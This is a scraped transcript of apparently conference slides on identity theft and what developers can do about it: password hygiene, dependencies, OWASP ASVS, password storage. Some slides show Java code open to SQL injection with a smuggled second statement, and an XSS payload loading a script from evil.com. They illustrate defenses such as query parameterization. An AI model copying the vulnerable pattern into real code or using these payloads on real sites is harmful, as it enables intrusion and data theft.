identity theft - jfokus · identity theft identity theft is the deliberate use of someone...

48
Identity theft developer is key

Upload: others

Post on 18-Aug-2020

2 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Identity theftdeveloper is key

Page 2: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Identity theftCybercrime

Hard to get rid of the consequences

We create the code We protect the data

Page 3: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Are we part of the solutionOr part of the problem?

Page 4: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Brian VermeerSoftware Engineer

Page 5: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Brian VermeerSoftware Engineer

Page 6: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Brian VermeerSoftware Engineer

Page 7: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Brian VermeerSoftware Engineer

Page 8: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Brian VermeerSoftware Engineer

Page 9: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Brian VermeerSoftware Engineer

Page 10: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Brian VermeerSoftware Engineer

Page 11: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

CybercrimeReal threat

and it is growing

Organised and professional it’s a business

Risks are low

We are not ready

Lot of money involved

Page 12: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

How profitable is cybercrime?

Page 13: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Identity theftIdentity theft is the deliberate use of someone else's

identity, usually as a method to gain a financial advantage or obtain credit and other benefits in the other person's name, and perhaps to the other person's disadvantage or loss.

The person whose identity has been assumed may suffer adverse consequences if they are held responsible for the

perpetrator's actions.

Page 14: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Kevin Goes (30)

Some else used a copy of his passport

and rented several houses

Page 15: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Kevin Goes (30)

Page 16: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Data is like crude oilby itself it is dead, but comes to live when applying the right

kind of science

Page 17: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other
Page 18: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

What can we do as developersProtect yourself & be aware

Page 19: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Protect youself

Page 20: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Protect youselfWhere do I leave my notebook ?

Page 21: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Protect youselfWhere do I leave my notebook ?

Where do I store my passwords ?

Page 22: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Protect youselfWhere do I leave my notebook ?

Where do I store my passwords ?

Do I use my password multiple times ?

Page 23: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Protect youselfWhere do I leave my notebook ?

Where do I store my passwords ?

Do I use my password multiple times ?

Is my software up to date ?

Page 24: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Protect youselfWhere do I leave my notebook ?

Where do I store my passwords ?

Do I use my password multiple times ?

Is my software up to date ?

2 step verification ?

Page 25: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Protect youselfWhere do I leave my notebook ?

Where do I store my passwords ?

Do I use my password multiple times ?

Is my software up to date ?

2 step verification ?

What wifi hotspot do I use ?

Page 26: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other
Page 27: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other
Page 28: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other
Page 29: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Software Development

Page 30: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Our application

What we think it is

Page 31: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Our application

What we think it is

What it actually is

Page 32: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other
Page 33: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

How many dependencies?

Are all needed?

Are all up-to-date?

Are all reliable?

Dependencies

Page 34: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other
Page 35: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Don't trust blindly

Page 36: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Securityas part of your development process

business value VS security

code reviews

clean code = secure code

Page 37: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

OWASP - ASVSOpen Web Application Security

Project Application Security Verification

Standard

https://www.owasp.org/index.php/Category:OWASP_Application_Securit

y_Verification_Standard_Project

Page 38: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Code reviewString url = "jdbc:postgresql://localhost:5432/test?user=brian&password=brian";Connection conn = DriverManager.getConnection(url);Statement stmt = conn.createStatement();String newName = request.getParameter("name"); String sql = "UPDATE Users SET name = '" + newName + "' WHERE id=1";stmt.execute(sql);

Page 39: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Code reviewString url = "jdbc:postgresql://localhost:5432/test?user=brian&password=brian";Connection conn = DriverManager.getConnection(url);Statement stmt = conn.createStatement();String newName = request.getParameter("name"); String sql = "UPDATE Users SET name = '" + newName + "' WHERE id=1";stmt.execute(sql);

what if my input = ' '; '

UPDATE USERS SET NAME =' '; ' WHERE id=1;

Page 40: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

SQL InjectionString url = "jdbc:postgresql://localhost:5432/test?user=brian&password=brian";Connection conn = DriverManager.getConnection(url);Statement stmt = conn.createStatement();String newName = request.getParameter("name"); String sql = "UPDATE Users SET name = '" + newName + "' WHERE id=1";stmt.execute(sql);

what if my input = ' '; UPDATE Users SET name = ' '

UPDATE USERS SET NAME =' '; UPDATE Users SET name = '' WHERE id=1;

Page 41: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Query ParameterizationString url = "jdbc:postgresql://localhost:5432/test?user=brian&password=brian";Connection conn = DriverManager.getConnection(url);String newName = request.getParameter("name"); String sql = "UPDATE Users SET name = ? WHERE id=1";PreparedStatement pstmt = conn.prepareStatement(sql);pstmt.setString(1, newName);pstmt.executeUpdate();

Page 42: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Password storage

Page 43: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Password protection

Don’t store plain text

Don’t limit the password length

Don’t limit the character set

Don’t use an ordinary hash function

Page 44: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

Password protectionUse a password policy

Use a cryptographically strong credential-specific salt

Use a cryptographic hash algorithm (e.g. PBKDF2)

Use a HMAC (keyed-hash message authentication code), HMAC-SHA256

Design to be compromised

Page 45: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

XSS (Cross Side Scripting)http://www.jfokus.se/saveComment?comment=JFokus+is+Awesome!

<h3> Thank you for you comments! </h3> You wrote: <p/> JFokus is Awsome <p/>

Page 46: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

XSS (Cross Site Scripting)http://www.jfokus.se/saveComment?comment=<script src="evil.com/x.js"></script>

<h3> Thank you for you comments! </h3> You wrote: <p/> <script src="evil.com/x.js"></script> <p/>

Page 47: identity theft - Jfokus · Identity theft Identity theft is the deliberate use of someone else's identity, usually as a method to gain a financial advantage or obtain credit and other

SummaryBE AWARE

Protect yourself

Integrate security in development process

https://www.owasp.orgASVS